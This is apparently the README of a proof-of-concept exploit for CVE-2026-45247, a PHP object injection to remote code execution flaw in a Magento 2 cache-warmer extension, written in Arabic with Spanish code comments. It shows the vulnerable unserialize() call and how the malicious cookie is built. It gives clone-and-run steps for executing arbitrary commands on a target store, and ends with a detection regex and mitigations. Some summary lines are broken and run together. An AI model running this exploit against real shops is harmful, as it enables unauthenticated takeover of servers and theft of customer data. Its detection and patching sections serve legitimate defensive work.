
إثبات مفهوم وظيفي لـ CVE-2026-45247: حقن كائنات PHP إلى تنفيذ تعليمات برمجية عن بُعد (RCE) غير مصادق عليه في Mirasvit Full Page Cache (Magento 2).
CVE-2026-45247 هي ثغرة حرجة من نوع حقن كائنات PHP (PHP Object Injection) في إضافة Mirasvit Full Page Cache Warmer لـ Magento 2 و Adobe Commerce. يمكن لمهاجم غير مصادق تحقيق تنفيذ الأوامر عن بعد (RCE) عن طريق إرسال كائن PHP مُسلسَل معدل في ملف تعريف الارتباط CacheWarmer.
تكمُن الثغرة في الاستدعاء غير المقيد لدالة PHP الأصلية unserialize()، والمقترنة بسلاسل الأدوات (gadget chains) المتوفرة في Magento وتبعياته (خاصة Monolog).
| السمة | القيمة |
|---|---|
| CVE | CVE-2026-45247 |
| المنتج | Mirasvit Full Page Cache Warmer for Magento 2 |
| الإصدارات المتأثرة | جميع الإصدارات السابقة للإصدار 1.11.12 |
| التصحيح المتاح | الإصدار 1.11.12 (25 مايو 2026) |
| درجة CVSS | 9.8 (حرجة) |
| المتجه | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| الحالة في CISA KEV | استغلال نشط مؤكد (أُضيف في 03/06/2026) |
| الموعد النهائي | 06/06/2026 |
CacheWarmer في كل طلب متجرunserialize() دون تنقيةSyslogUdpHandler, BufferHandler, FingersCrossedHandler)، يتم تحقيق RCE# Verificar si la tienda usa Mirasvit Cache Warmer
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
# La cookie se procesa en cada request sin autenticación
# El código vulnerable en Mirasvit:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue)); # ¡Peligro!
# Construcción de la cookie maliciosa
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# Envío de la petición
requests.get(target, cookies={'CacheWarmer': cookie_value})
git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
# Verificar vulnerabilidad
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only
# Ejecutar comando 'id'
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
# Ejecutar comando personalizado
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"
# Usar proxy para depuración
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080
# Verificar con script bash
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com
في سجلات الوصول:
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
الأوامر التي لوحظت في الاستغلال:
echo PWNED_CVE2026_$(date +%s)
sleep 5
سلاسل الأدوات المستخدمة:
# Actualizar a versión parcheada
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
# Bloquear cookie CacheWarmer en .htaccess o nginx
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
// En app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}